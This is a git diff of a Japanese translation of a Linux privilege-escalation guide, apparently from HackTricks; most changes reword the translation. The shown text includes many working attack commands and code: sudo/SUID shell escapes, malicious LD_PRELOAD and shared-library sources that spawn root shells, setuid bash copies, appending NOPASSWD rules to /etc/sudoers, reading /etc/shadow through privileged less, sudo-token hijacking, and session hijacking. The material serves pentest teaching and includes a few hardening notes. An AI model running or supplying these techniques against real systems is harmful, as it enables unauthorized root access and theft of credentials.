-環境の **任意のパスワードを知っている場合は**、そのパスワードを使って**各ユーザーとしてログインしてみてください。** +環境の**任意のパスワードを知っている**場合は、そのパスワードを使って**各ユーザーにログインしてみてください**。 ### Su Brute -大量のノイズを出すことを気にせず、`su` と `timeout` バイナリが対象ホストに存在する場合は、[su-bruteforce](https://github.com/carlospolop/su-bruteforce).\ -[**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) は `-a` パラメータでユーザーを brute-force することも試みます。 +多くのノイズを出すのを気にせず、かつコンピュータに `su` と `timeout` のバイナリが存在する場合、[su-bruteforce](https://github.com/carlospolop/su-bruteforce) を使ってユーザーをbrute-forceしてみてください.\ +[**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) は `-a` パラメータでユーザーのbrute-forceも試みます。 -## Writable PATH の悪用 +## 書き込み可能な PATH の悪用 ### $PATH -$PATH のあるフォルダに**書き込みができることが分かった場合**、その書き込み可能なフォルダに別のユーザー(理想的には root)によって実行されるコマンド名と同じ名前の**backdoor を作成する**ことで権限を昇格できる可能性があります。ただし、そのコマンドが**$PATH 内であなたの書き込みフォルダより前にあるフォルダから読み込まれない**ことが条件です。 +もし $PATH のいずれかのフォルダに**書き込みできる**ことが分かれば、書き込み可能なフォルダ内に、別のユーザー(理想的には root)が実行するコマンド名と同じ名前のバックドアを**作成することで**権限を昇格できる可能性があります。ただし、そのコマンドが $PATH 内であなたの書き込み可能フォルダより前にある別のフォルダから**読み込まれない**ことが条件です。 ### SUDO and SUID -sudo を用いて実行できるコマンドがあるか、あるいはコマンドが suid ビットを持っている可能性があります。次のように確認してください: +sudoでコマンドを実行できるようになっている、またはsuidビットが付与されている可能性があります。以下で確認してください: ```bash sudo -l #Check commands you can execute with sudo find / -perm -4000 2>/dev/null #Find all SUID binaries ``` -いくつかの**予期しないコマンドはファイルを読み書きしたり、コマンドを実行したりすることさえあります。** 例えば: +いくつかの**予期しないコマンドはファイルの読み取りおよび/または書き込み、あるいはコマンドの実行を可能にします。** 例えば: ```bash sudo awk 'BEGIN {system("/bin/sh")}' sudo find /etc -exec sh -i \; @@ -775,37 +774,37 @@ less>! ``` ### NOPASSWD -Sudoの設定により、ユーザーはパスワードを知らなくても別のユーザーの権限でコマンドを実行できる場合がある。 +Sudo の設定により、ユーザーはパスワードを知らなくても別のユーザーの権限でコマンドを実行できる場合がある。 ``` $ sudo -l User demo may run the following commands on crashlab: (root) NOPASSWD: /usr/bin/vim ``` -この例では、ユーザー `demo` が `root` として `vim` を実行できます。root ディレクトリに ssh キーを追加するか、`sh` を呼び出すことで shell を取得するのは容易です。 +この例では、ユーザー `demo` が `root` 権限で `vim` を実行できるため、root ディレクトリに ssh key を追加するか、`sh` を呼び出すことで簡単に shell を取得できます。 ``` sudo vim -c '!sh' ``` ### SETENV -このディレクティブにより、ユーザーは何かを実行する際に **set an environment variable** ことができます: +このディレクティブにより、ユーザーは何かを実行する際に **環境変数を設定する** ことができます: ```bash $ sudo -l User waldo may run the following commands on admirer: (ALL) SETENV: /opt/scripts/admin_tasks.sh ``` -この例は、**HTB machine Admirerをベースにした**もので、スクリプトをrootとして実行している間に任意のPythonライブラリをロードできる**PYTHONPATH hijacking**に**脆弱でした**: +この例は、**HTB machine Admirer に基づく**、**脆弱**で**PYTHONPATH hijacking**により、スクリプトをrootとして実行する際に任意の python ライブラリをロードできるものでした: ```bash sudo PYTHONPATH=/dev/shm/ /opt/scripts/admin_tasks.sh ``` -### BASH_ENV が sudo env_keep により保持される → root shell +### BASH_ENV が sudo env_keep によって保持される → root shell If sudoers preserves `BASH_ENV` (e.g., `Defaults env_keep+="ENV BASH_ENV"`), you can leverage Bash’s non-interactive startup behavior to run arbitrary code as root when invoking an allowed command. -- なぜ動くか: 非対話シェルでは、Bash は `$BASH_ENV` を評価し、ターゲットスクリプトを実行する前にそのファイルを source します。多くの sudo ルールはスクリプトやシェルラッパーの実行を許可します。sudo が `BASH_ENV` を保持している場合、あなたのファイルは root 権限で source されます。 +- なぜ機能するか: 非対話シェルでは Bash は `$BASH_ENV` を評価し、そのファイルを source してからターゲットスクリプトを実行します。多くの sudo ルールでスクリプトやシェルラッパの実行が許可されています。`BASH_ENV` が sudo によって保持されていれば、あなたのファイルは root 権限で source されます。 - 要件: - 実行可能な sudo ルール(非対話的に `/bin/bash` を呼び出す任意のターゲット、または任意の bash スクリプト)。 -- `BASH_ENV` が `env_keep` に含まれていること(`sudo -l` で確認)。 +- `BASH_ENV` が `env_keep` に存在すること(`sudo -l` で確認)。 - PoC: ```bash @@ -819,12 +818,12 @@ BASH_ENV=/dev/shm/shell.sh sudo /usr/bin/systeminfo # or any permitted script/ ``` - ハードニング: - `env_keep` から `BASH_ENV`(および `ENV`)を削除し、`env_reset` を推奨する。 -- sudo で許可されたコマンドに対する shell wrappers を避け、可能な限り最小のバイナリを使用する。 -- 保持された環境変数が使用された場合の sudo の I/O ロギングとアラートを検討する。 +- sudo で許可されたコマンド用のシェルラッパーを避け、最小限のバイナリを使用する。 +- 保存された環境変数が使用された場合の sudo の I/O ログ記録とアラートを検討する。 -### Sudo 実行バイパスの経路 +### sudo 実行のバイパス経路 -**Jump** で他のファイルを読むか、**symlinks** を使用する。例えば sudoers ファイルでは: _hacker10 ALL= (root) /bin/less /var/log/\*_ +**Jump** して他のファイルを読むか、**symlinks** を使用する。例えば sudoers file: _hacker10 ALL= (root) /bin/less /var/log/\*_ ```bash sudo less /var/logs/anything less>:e /etc/shadow #Jump to read other files using privileged less @@ -834,41 +833,41 @@ less>:e /etc/shadow #Jump to read other files using privileged less ln /etc/shadow /var/log/new sudo less /var/log/new #Use symlinks to read any file ``` -もし**wildcard**が使用されている(\*)場合は、さらに簡単です: +もし **wildcard** が使われている場合(\*)、さらに簡単です: ```bash sudo less /var/log/../../etc/shadow #Read shadow sudo less /var/log/something /etc/shadow #Red 2 files ``` **対策**: [https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/](https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/) -### Sudo command/SUID バイナリ(コマンドのパスがない場合) +### Sudo command/SUID binary(コマンドのパスが指定されていない場合) -もし **sudo permission** が単一のコマンドに対してパスを指定せずに与えられている場合: _hacker10 ALL= (root) less_、PATH variable を変更することでこれを悪用できます。 +もし特定のコマンドに対して **sudo permission** が与えられ、**パスを指定していない** 場合: _hacker10 ALL= (root) less_。PATH 変数を変更することでこれを悪用できます。 ```bash export PATH=/tmp:$PATH #Put your backdoor in /tmp and name it "less" sudo less ``` -このテクニックは、**suid** バイナリが**パスを指定せずに別のコマンドを実行する場合(常に _**strings**_ で奇妙な SUID バイナリの内容を確認してください)**にも使用できます。 +この手法は、**suid** binary が**コマンドのパスを指定せずに別のコマンドを実行する場合(不審な SUID binary の内容は常に** _**strings**_ **で確認してください)**にも使用できます。 [Payload examples to execute.](payloads-to-execute.md) -### SUID バイナリ(コマンドのパス指定あり) +### SUID binary がコマンドのパスを指定している場合 -もし**suid** バイナリが**パスを指定して別のコマンドを実行する**場合、suid ファイルが呼び出しているコマンド名で**export a function** を作成してエクスポートしてみることができます。 +もし**suid** binary が**パスを指定して別のコマンドを実行する**場合、suid file が呼び出しているコマンド名で**export a function**を試すことができます。 -例えば、もし suid バイナリが _**/usr/sbin/service apache2 start**_ を呼び出す場合、コマンド名に対応する関数を作成して export してみてください: +例えば、suid binary が _**/usr/sbin/service apache2 start**_ を呼び出す場合、関数を作成して export してみてください: ```bash function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; } export -f /usr/sbin/service ``` -Then, when you call the suid binary, this function will be executed +次に、suid バイナリを呼び出すと、この関数が実行されます ### LD_PRELOAD & **LD_LIBRARY_PATH** The **LD_PRELOAD** environment variable is used to specify one or more shared libraries (.so files) to be loaded by the loader before all others, including the standard C library (`libc.so`). This process is known as preloading a library. -However, to maintain system security and prevent this feature from being exploited, particularly with **suid/sgid** executables, the system enforces certain conditions: +しかし、この機能が特に **suid/sgid** 実行ファイルで悪用されるのを防ぎ、システムのセキュリティを維持するために、システムはいくつかの条件を強制します: - The loader disregards **LD_PRELOAD** for executables where the real user ID (_ruid_) does not match the effective user ID (_euid_). - For executables with suid/sgid, only libraries in standard paths that are also suid/sgid are preloaded. @@ -890,17 +889,17 @@ setuid(0); system("/bin/bash"); } ``` -次に **それをコンパイル** してください: +次に、**それをコンパイルします**: ```bash cd /tmp gcc -fPIC -shared -o pe.so pe.c -nostartfiles ``` -最後に、**escalate privileges** を実行する。 +最後に、**escalate privileges**を実行する ```bash sudo LD_PRELOAD=./pe.so #Use any command you can run with sudo ``` > [!CAUTION] -> 同様の privesc は、攻撃者が **LD_LIBRARY_PATH** env variable を制御している場合に悪用される可能性があります。攻撃者はライブラリが検索されるパスを制御できるためです。 +> 同様の privesc は、攻撃者が **LD_LIBRARY_PATH** 環境変数を制御している場合に悪用できる。なぜなら、ライブラリが検索されるパスを攻撃者が制御できるからだ。 ```c #include #include @@ -922,13 +921,13 @@ sudo LD_LIBRARY_PATH=/tmp ``` ### SUID Binary – .so injection -通常と異なるように見える**SUID**権限を持つバイナリに遭遇した場合、正しく**.so**ファイルを読み込んでいるか確認するのが良い習慣です。これを確認するには、次のコマンドを実行します: +通常とは異なる **SUID** パーミッションを持つ binary に遭遇した場合、正しく **.so** ファイルを読み込んでいるか確認するのが良い習慣です。これは次のコマンドを実行して確認できます: ```bash strace 2>&1 | grep -i -E "open|access|no such file" ``` -例えば、_"open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (No such file or directory)"_のようなエラーに遭遇した場合、悪用の可能性が示唆されます。 +例えば、_"open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (No such file or directory)"_ のようなエラーが発生した場合、悪用の可能性が示唆されます。 -これを悪用するには、Cファイル、例えば_"/path/to/.config/libcalc.c"_を作成し、次のコードを含めます: +これを悪用するには、_"/path/to/.config/libcalc.c"_ のような C ファイルを作成し、以下のコードを含めます: ```c #include #include @@ -939,13 +938,13 @@ void inject(){ system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p"); } ``` -このコードは、コンパイルして実行すると、ファイルのパーミッションを操作して権限を昇格させ、昇格した権限でシェルを実行することを目的としています。 +このコードは、コンパイルして実行すると、ファイルの権限を操作し、昇格した権限で shell を起動することで権限を昇格させることを目的としています。 -上記のCファイルを共有オブジェクト (.so) ファイルにコンパイルするには、次のようにします: +上記の C file を共有オブジェクト (.so) ファイルにコンパイルするには、次のようにします: ```bash gcc -shared -o /path/to/.config/libcalc.so -fPIC /path/to/.config/libcalc.c ``` -最後に、影響を受けた SUID バイナリを実行すると exploit が発動し、システムが侵害される可能性があります。 +最後に、影響を受けた SUID バイナリを実行すると exploit がトリガーされ、システムが侵害される可能性があります。 ## Shared Object Hijacking ```bash @@ -957,7 +956,7 @@ something.so => /lib/x86_64-linux-gnu/something.so readelf -d payroll | grep PATH 0x000000000000001d (RUNPATH) Library runpath: [/development] ``` -書き込み可能な folder から library をロードする SUID binary を見つけたので、その folder に必要な名前の library を作成しましょう: +SUID binary が folder から library をロードしており、そこに write できることが分かったので、その folder に必要な名前の library を作成します: ```c //gcc src.c -fPIC -shared -o /development/libshared.so #include @@ -974,13 +973,13 @@ system("/bin/bash -p"); ```shell-session ./suid_bin: symbol lookup error: ./suid_bin: undefined symbol: a_function_name ``` -つまり、生成したライブラリには `a_function_name` という名前の関数が必要です。 +これは、生成したライブラリに `a_function_name` という名前の関数が必要であることを意味します。 ### GTFOBins -[**GTFOBins**](https://gtfobins.github.io) は、攻撃者がローカルのセキュリティ制限を回避するために悪用できる Unix バイナリをまとめたキュレートされたリストです。 [**GTFOArgs**](https://gtfoargs.github.io/) は同様のもので、コマンドに対して**引数のみを注入できる**場合のケース向けです。 +[**GTFOBins**](https://gtfobins.github.io) は、攻撃者がローカルのセキュリティ制限を回避するために悪用できる Unix バイナリを集めたキュレーションリストです。 [**GTFOArgs**](https://gtfoargs.github.io/) は同様のプロジェクトで、コマンドに**引数だけを注入できる**場合に焦点を当てています。 -このプロジェクトは、Unix バイナリの正規機能を収集しており、これらは制限されたシェルからの脱出、権限昇格や権限維持、ファイル転送、spawn bind and reverse shells、その他のポストエクスプロイト作業を助けるために悪用できます。 +このプロジェクトは、Unix バイナリの正規機能を収集しており、restricted shells からの脱出、権限の昇格・維持、ファイル転送、bind and reverse shells の生成、その他の post-exploitation タスクを容易にするために悪用できます。 > gdb -nx -ex '!sh' -ex quit\ > sudo mysql -e '! /bin/sh'\ @@ -999,60 +998,60 @@ https://gtfoargs.github.io/ ### FallOfSudo -`sudo -l` にアクセスできる場合、ツール [**FallOfSudo**](https://github.com/CyberOne-Security/FallofSudo) を使用して、任意の sudo ルールを悪用する方法が見つかるか確認できます。 +もし `sudo -l` にアクセスできるなら、ツール [**FallOfSudo**](https://github.com/CyberOne-Security/FallofSudo) を使用して、sudo のルールを悪用する方法を見つけられるかどうかを確認できます。 -### Reusing Sudo Tokens +### Sudoトークンの再利用 -パスワードは知らないが**sudo access**がある場合、**sudo コマンドの実行を待ち、そのセッショントークンをハイジャックする**ことで権限を昇格できます。 +パスワードがないが **sudo access** を持っている場合、**sudo コマンドの実行を待ち、そのセッショントークンをハイジャックする**ことで権限を昇格できます。 権限昇格の要件: -- あなたは既にユーザー _sampleuser_ としてシェルを持っている -- _sampleuser_ は**過去15分以内に `sudo` を使用して**何かを実行している(デフォルトでこれはパスワードを入力せずに sudo を使える sudo トークンの有効期間です) -- `cat /proc/sys/kernel/yama/ptrace_scope` が 0 である -- `gdb` にアクセス可能である(アップロードできる必要がある) +- 既にユーザー _sampleuser_ として shell を持っている +- _sampleuser_ が **過去15分以内に `sudo` を使って** 何かを実行している(デフォルトではこれが、パスワード入力なしで `sudo` を使えるトークンの有効期間です) +- `cat /proc/sys/kernel/yama/ptrace_scope` が 0 であること +- `gdb` にアクセスできること(アップロード可能であること) -(一時的に `ptrace_scope` を有効にするには `echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope` を実行するか、または `/etc/sysctl.d/10-ptrace.conf` を恒久的に変更して `kernel.yama.ptrace_scope = 0` を設定します) +(一時的に `ptrace_scope` を有効化するには `echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope` を実行するか、`/etc/sysctl.d/10-ptrace.conf` を恒久的に修正して `kernel.yama.ptrace_scope = 0` を設定します) -これらの要件がすべて満たされている場合、**次のツールを使って権限を昇格できます:** [**https://github.com/nongiach/sudo_inject**](https://github.com/nongiach/sudo_inject) +上記の要件を満たしていれば、**次を使用して権限を昇格できます:** [**https://github.com/nongiach/sudo_inject**](https://github.com/nongiach/sudo_inject) -- The **first exploit** (`exploit.sh`) は _/tmp_ にバイナリ `activate_sudo_token` を作成します。これを使用して**セッション内の sudo トークンを有効化**できます(自動的に root シェルは取得できないので、`sudo su` を実行してください): +- **最初のエクスプロイト**(`exploit.sh`)はバイナリ `activate_sudo_token` を _/tmp_ に作成します。これを使って **セッション内の sudo トークンを有効化** できます(自動的に root シェルが得られるわけではありません。`sudo su` を実行してください): ```bash bash exploit.sh /tmp/activate_sudo_token sudo su ``` -- **2番目の exploit** (`exploit_v2.sh`) は _/tmp_ **root 所有で setuid の sh shell** を作成します +- **2番目の exploit** (`exploit_v2.sh`) は _/tmp_ に **root 所有で setuid が設定された** sh shell を作成します ```bash bash exploit_v2.sh /tmp/sh -p ``` -- この **3番目の exploit** (`exploit_v3.sh`) は **sudoers file を作成し**、**sudo tokens を永続化して全ユーザが sudo を使用できるようにします** +- この **3番目の exploit** (`exploit_v3.sh`) は **sudoers file を作成する** ことで、**sudo tokens を永続化し、すべてのユーザが sudo を使用できるようにする** ```bash bash exploit_v3.sh sudo su ``` ### /var/run/sudo/ts/\ -フォルダ、またはその中に作成されたファイルのいずれかに**write permissions**がある場合、バイナリ[**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools)を使用して**user と PID のための sudo token を作成**できます。\ -例えば、ファイル _/var/run/sudo/ts/sampleuser_ を上書きでき、PID 1234 でその user として shell を持っている場合、password を知らなくても**sudo privileges を取得**できます。以下のように実行します: +フォルダまたはそのフォルダ内に作成されたファイルのいずれかに対して**write permissions**がある場合、バイナリ [**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools) を使用して**ユーザーと PID のための sudo token を作成**できます。\ +例えば、ファイル _/var/run/sudo/ts/sampleuser_ を上書きでき、かつそのユーザー(PID 1234)としてシェルを持っている場合、パスワードを知らなくても **obtain sudo privileges** できます。次のように: ```bash ./write_sudo_token 1234 > /var/run/sudo/ts/sampleuser ``` ### /etc/sudoers, /etc/sudoers.d -ファイル `/etc/sudoers` と `/etc/sudoers.d` 内のファイルは、誰が `sudo` を使えるかとその方法を設定します。これらのファイルは**デフォルトでは user root および group root のみが読み取り可能**です。\ -**もし**このファイルを**読み取る**ことができれば、**興味深い情報を得る**ことができるかもしれません。そして任意のファイルに**書き込み**ができれば**escalate privileges**できます。 +`/etc/sudoers` と `/etc/sudoers.d` 内のファイルは、誰が `sudo` を使えるかとその方法を設定します。**これらのファイルはデフォルトでユーザー root とグループ root のみが読み取れます**。\ +**もし**このファイルを**読み取る**ことができれば、**興味深い情報を取得できる**可能性があり、かつ任意のファイルに**書き込める**のであれば**権限昇格**が可能になります。 ```bash ls -l /etc/sudoers /etc/sudoers.d/ ls -ld /etc/sudoers.d/ ``` -書き込み権限があれば、この権限を悪用できます。 +書き込みができるなら、この権限を悪用できます ```bash echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers.d/README ``` -これらの権限を悪用する別の方法: +これらの権限を悪用する別の方法: ```bash # makes it so every terminal can sudo echo "Defaults !tty_tickets" > /etc/sudoers.d/win @@ -1061,17 +1060,17 @@ echo "Defaults timestamp_timeout=-1" >> /etc/sudoers.d/win ``` ### DOAS -`sudo` バイナリの代替として、OpenBSD の `doas` などがあります。設定は `/etc/doas.conf` を確認してください。 +`sudo` バイナリの代替として OpenBSD の `doas` などがあります。設定は `/etc/doas.conf` を確認してください。 ``` permit nopass demo as root cmd vim ``` ### Sudo Hijacking -もし**ユーザーが通常マシンに接続して`sudo`を使用する**ことが分かっていて、そのユーザーコンテキストでシェルを得ている場合、あなたは**新しい sudo 実行可能ファイルを作成**して先に自分のコードを root として実行させ、その後にユーザーのコマンドを実行させることができます。次に、ユーザーコンテキストの**$PATHを変更**(例:.bash_profile に新しいパスを追加)しておけば、ユーザーが sudo を実行したときにあなたの sudo 実行ファイルが実行されます。 +もし、**ユーザーが通常マシンに接続して `sudo` を使って権限を昇格する**ことが分かっており、かつそのユーザーコンテキストでシェルを取得している場合、rootとしてあなたのコードを実行し、その後ユーザーのコマンドを実行する**新しい sudo 実行ファイルを作成**できます。次に、ユーザーコンテキストの**$PATH を変更**(例えば新しいパスを .bash_profile に追加する)して、ユーザーが sudo を実行したときにあなたの sudo 実行ファイルが実行されるようにします。 -注意:ユーザーが別のシェル(bash以外)を使っている場合、同様に新しいパスを追加するために他のファイルを変更する必要があります。例えば[ sudo-piggyback](https://github.com/APTy/sudo-piggyback) は `~/.bashrc`, `~/.zshrc`, `~/.bash_profile` を変更します。別の例は [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py) にあります。 +ユーザーが別のシェル(bash 以外)を使用している場合は、新しいパスを追加するために別のファイルを修正する必要がある点に注意してください。例えば[ sudo-piggyback](https://github.com/APTy/sudo-piggyback)は `~/.bashrc`、`~/.zshrc`、`~/.bash_profile` を変更します。別の例は [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py) で確認できます。 -Or running something like: +あるいは次のように実行する: ```bash cat >/tmp/sudo < (0x0068c000) libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0x00110000) /lib/ld-linux.so.2 (0x005bb000) ``` -lib を `/var/tmp/flag15/` にコピーすると、`RPATH` 変数で指定されている通り、その場所でプログラムによって使用されます。 +lib を `/var/tmp/flag15/` にコピーすると、`RPATH` 変数で指定されたこの場所の lib がプログラムによって使用されます。 ``` level15@nebula:/home/flag15$ cp /lib/i386-linux-gnu/libc.so.6 /var/tmp/flag15/ @@ -1122,7 +1122,7 @@ linux-gate.so.1 => (0x005b0000) libc.so.6 => /var/tmp/flag15/libc.so.6 (0x00110000) /lib/ld-linux.so.2 (0x00737000) ``` -次に、`/var/tmp` に悪意のあるライブラリを作成します: `gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic exploit.c -o libc.so.6` +次に `/var/tmp` に悪意のあるライブラリを作成するには、`gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic exploit.c -o libc.so.6` を使用します。 ```c #include #define SHELL "/bin/sh" @@ -1135,61 +1135,61 @@ setresuid(geteuid(),geteuid(), geteuid()); execve(file,argv,0); } ``` -## Capabilities +## キャパビリティ -Linux capabilities はプロセスに対して利用可能な root 権限の**サブセットを提供します**。これは実質的に root の権限を**より小さく識別可能な単位に分解**することを意味します。これらの各単位は個別にプロセスへ付与可能です。こうして権限の全体集合が縮小され、悪用のリスクが低減します。\ -以下のページを読んで、**capabilities とそれを悪用する方法の詳細を学んでください**: +Linux capabilities はプロセスに対して利用可能な root privileges の**サブセットを提供します**。これは実質的に root の**特権をより小さく識別可能な単位に分割する**ことを意味します。これらの各単位は個別にプロセスに付与でき、その結果として特権の全体セットが縮小され、悪用のリスクが低減します。\ +capabilities やそれを悪用する方法について詳しくは次のページを参照してください: {{#ref}} linux-capabilities.md {{#endref}} -## Directory permissions +## ディレクトリ権限 -ディレクトリでは、**"execute" ビット**は対象ユーザが **"cd"** でフォルダに移動できることを意味します。\ -**"read"** ビットはユーザが**ファイルを一覧表示(list)**できることを意味し、**"write"** ビットはユーザが**ファイルを削除(delete)および新規作成(create)**できることを意味します。 +ディレクトリでは、**"execute" ビット**は対象ユーザーが "**cd**" してフォルダに入れることを意味します。\ +**"read"** ビットはユーザーが**ファイルを一覧表示(list)**できることを意味し、**"write"** ビットはユーザーが**ファイルを削除(delete)**および**作成(create)**できることを意味します。 ## ACLs -Access Control Lists (ACLs) は任意の権限の二次層を表し、従来の ugo/rwx 権限を**上書きできる**可能性があります。これらの権限は所有者やグループの一員でない特定のユーザに対してアクセス権を許可または拒否することで、ファイルやディレクトリのアクセス制御を強化します。このレベルの**細粒度はより正確なアクセス管理を実現**します。詳細は[**こちら**](https://linuxconfig.org/how-to-manage-acls-on-linux)を参照してください。 +Access Control Lists (ACLs) は任意の権限の二次レイヤーを表し、伝統的な ugo/rwx 権限を**上書きできる**機能を持ちます。これらの権限はオーナーやグループに属さない特定のユーザーに対してアクセスを許可または拒否することで、ファイルやディレクトリへのアクセス制御を強化します。このレベルの**粒度によりより厳密なアクセス管理が可能**になります。詳細は [**here**](https://linuxconfig.org/how-to-manage-acls-on-linux) を参照してください。 -**Give** user "kali" read and write permissions over a file: +**付与する** ユーザー "kali" にファイルの読み取りおよび書き込み権限を与える: ```bash setfacl -m u:kali:rw file.txt #Set it in /etc/sudoers or /etc/sudoers.d/README (if the dir is included) setfacl -b file.txt #Remove the ACL of the file ``` -**取得** システム上の特定のACLsを持つファイル: +**取得** システムから特定の ACLs を持つファイル: ```bash getfacl -t -s -R -p /bin /etc /home /opt /root /sbin /usr /tmp 2>/dev/null ``` -## 開いている shell sessions +## Open shell sessions -**古いバージョン**では、別のユーザー(**root**)の**shell** sessionを**hijack**できることがあります。\ -**最新バージョン**では、**自身のユーザー**の**screen** sessionsに**connect**できるようになっています。とはいえ、**session内の興味深い情報**が見つかることがあります。 +In **old versions** you may **hijack** some **shell** session of a different user (**root**).\ +In **newest versions** you will be able to **connect** to screen sessions only of **your own user**. However, you could find **interesting information inside the session**. ### screen sessions hijacking -**screen sessions を一覧表示** +**List screen sessions** ```bash screen -ls screen -ls / # Show another user' screen sessions ``` ![](<../../images/image (141).png>) -**セッションにアタッチする** +**セッションにアタッチ** ```bash screen -dr #The -d is to detach whoever is attached to it screen -dr 3350.foo #In the example of the image screen -x [user]/[session id] ``` -## tmux sessions hijacking +## tmux セッションのハイジャック -これは **old tmux versions** の問題でした。権限のないユーザーとして、root によって作成された tmux (v2.1) セッションをハイジャックすることはできませんでした。 +これは **古い tmux バージョン** の問題でした。権限のないユーザーとして、root によって作成された tmux (v2.1) セッションをハイジャックできませんでした。 -**tmux セッションを一覧表示する** +**tmux セッションを一覧表示** ```bash tmux ls ps aux | grep tmux #Search for tmux consoles not using default folder for sockets @@ -1213,47 +1213,47 @@ Check **Valentine box from HTB** for an example. ### Debian OpenSSL Predictable PRNG - CVE-2008-0166 -2006年9月から2008年5月13日までの間にDebian系 (Ubuntu, Kubuntu, etc) で生成されたすべての SSL および SSH キーはこのバグの影響を受ける可能性があります。\\ -このバグはこれらの OS 上で新しい ssh キーを作成する際に発生し、**わずか 32,768 通りのバリエーションしかなかった**ためです。つまり、全ての可能性を計算でき、**ssh public key を持っていれば対応する private key を検索できます**。計算済みの可能性はここで確認できます: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh) +2006年9月から2008年5月13日までの間にDebian系システム(Ubuntu、Kubuntuなど)で生成されたすべてのSSLおよびSSHキーはこのバグの影響を受ける可能性があります。\ +このバグはそれらのOSで新しい ssh キーを作成したときに発生します。**わずか32,768通りのバリエーションしか存在しませんでした**。つまり全ての可能性を計算でき、**sshの公開鍵を持っていれば対応する秘密鍵を検索できます**。計算済みの候補はここで見つけられます: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh) -### SSH の興味深い設定値 +### SSH Interesting configuration values -- **PasswordAuthentication:** パスワード認証が許可されているかどうかを指定します。デフォルトは `no` です。 -- **PubkeyAuthentication:** public key authentication が許可されているかどうかを指定します。デフォルトは `yes` です。 -- **PermitEmptyPasswords**: password authentication が許可されている場合、サーバーが空のパスワード文字列を持つアカウントでのログインを許可するかどうかを指定します。デフォルトは `no` です。 +- **PasswordAuthentication:** パスワード認証が許可されているかを指定します。デフォルトは `no` です。 +- **PubkeyAuthentication:** 公開鍵認証が許可されているかを指定します。デフォルトは `yes` です。 +- **PermitEmptyPasswords**: パスワード認証が許可されている場合に、パスワードが空文字のアカウントでのログインをサーバーが許可するかを指定します。デフォルトは `no` です。 ### PermitRootLogin -root が ssh でログインできるかどうかを指定します。デフォルトは `no` です。可能な値: +root が ssh でログインできるかを指定します。デフォルトは `no` です。可能な値: -- `yes`: root は password と private key の両方でログインできます -- `without-password` or `prohibit-password`: root は private key のみでログインできます -- `forced-commands-only`: root は private key を使用し、かつコマンドの options が指定されている場合のみログインできます -- `no` : 許可しない +- `yes`: root はパスワードおよび秘密鍵でログインできます +- `without-password` or `prohibit-password`: root は秘密鍵のみでログインできます +- `forced-commands-only`: root は秘密鍵のみでログインでき、command オプションが指定されている場合に限ります +- `no`: 許可しない ### AuthorizedKeysFile -ユーザー認証に使用できる public keys を含むファイルを指定します。`%h` のようなトークンを含めることができ、これはユーザーのホームディレクトリに置き換えられます。**絶対パス**(`/` で始まる)や**ユーザーのホームからの相対パス**を指定できます。例えば: +ユーザー認証に使用できる公開鍵を含むファイルを指定します。`%h` のようなトークンを含めることができ、ユーザーのホームディレクトリに置き換えられます。**絶対パスを指定できます**(`/` で始まる)または**ユーザーのホームからの相対パス**を指定できます。例えば: ```bash AuthorizedKeysFile .ssh/authorized_keys access ``` -その設定は、ユーザー「**testusername**」の**private** keyでログインしようとした場合、sshがあなたのキーのpublic keyを`/home/testusername/.ssh/authorized_keys`および`/home/testusername/access`にあるものと比較することを示します。 +その設定は、ユーザー "**testusername**" の **private** key でログインしようとした場合、ssh があなたの public key を `/home/testusername/.ssh/authorized_keys` と `/home/testusername/access` にある鍵と比較することを示します。 ### ForwardAgent/AllowAgentForwarding -SSH agent forwardingにより、**use your local SSH keys instead of leaving keys**(passphrasesなしでサーバーに鍵を置いたままにする代わりにローカルのSSH keysを使うこと)が可能になります。つまり、sshで**jump**して**to a host**し、そこからさらに**jump to another** hostへ移動して、最初のホストにある**key**を**using**して接続できます。 +SSH agent forwarding により、サーバー上に(without passphrases!)鍵を置いたままにする代わりに、**use your local SSH keys instead of leaving keys** が利用できるようになります。つまり、ssh 経由で **jump** **to a host** し、そこから **jump to another** host を **using** the **key** located in your **initial host** という形で接続できます。 -このオプションは `$HOME/.ssh.config` に次のように設定してください: +You need to set this option in `$HOME/.ssh.config` like this: ``` Host example.com ForwardAgent yes ``` Notice that if `Host` is `*` every time the user jumps to a different machine, that host will be able to access the keys (which is a security issue). -The file `/etc/ssh_config` can **override** this **options** and allow or denied this configuration.\ -The file `/etc/sshd_config` can **allow** or **denied** ssh-agent forwarding with the keyword `AllowAgentForwarding` (default is allow). +The file `/etc/ssh_config` can **上書き** this **オプション** and allow or denied this configuration.\ +The file `/etc/sshd_config` can **許可** or **拒否** ssh-agent forwarding with the keyword `AllowAgentForwarding` (default is allow). -If you find that Forward Agent is configured in an environment read the following page as **you may be able to abuse it to escalate privileges**: +If you find that Forward Agent is configured in an environment read the following page as **権限昇格に悪用できる可能性があります**: {{#ref}} @@ -1264,22 +1264,22 @@ ssh-forward-agent-exploitation.md ### プロファイルファイル -The file `/etc/profile` and the files under `/etc/profile.d/` are **scripts that are executed when a user runs a new shell**. Therefore, if you can **write or modify any of them you can escalate privileges**. +The file `/etc/profile` and the files under `/etc/profile.d/` are **ユーザーが新しいシェルを実行したときに実行されるスクリプト**. Therefore, if you can **write or modify any of them you can escalate privileges**. ```bash ls -l /etc/profile 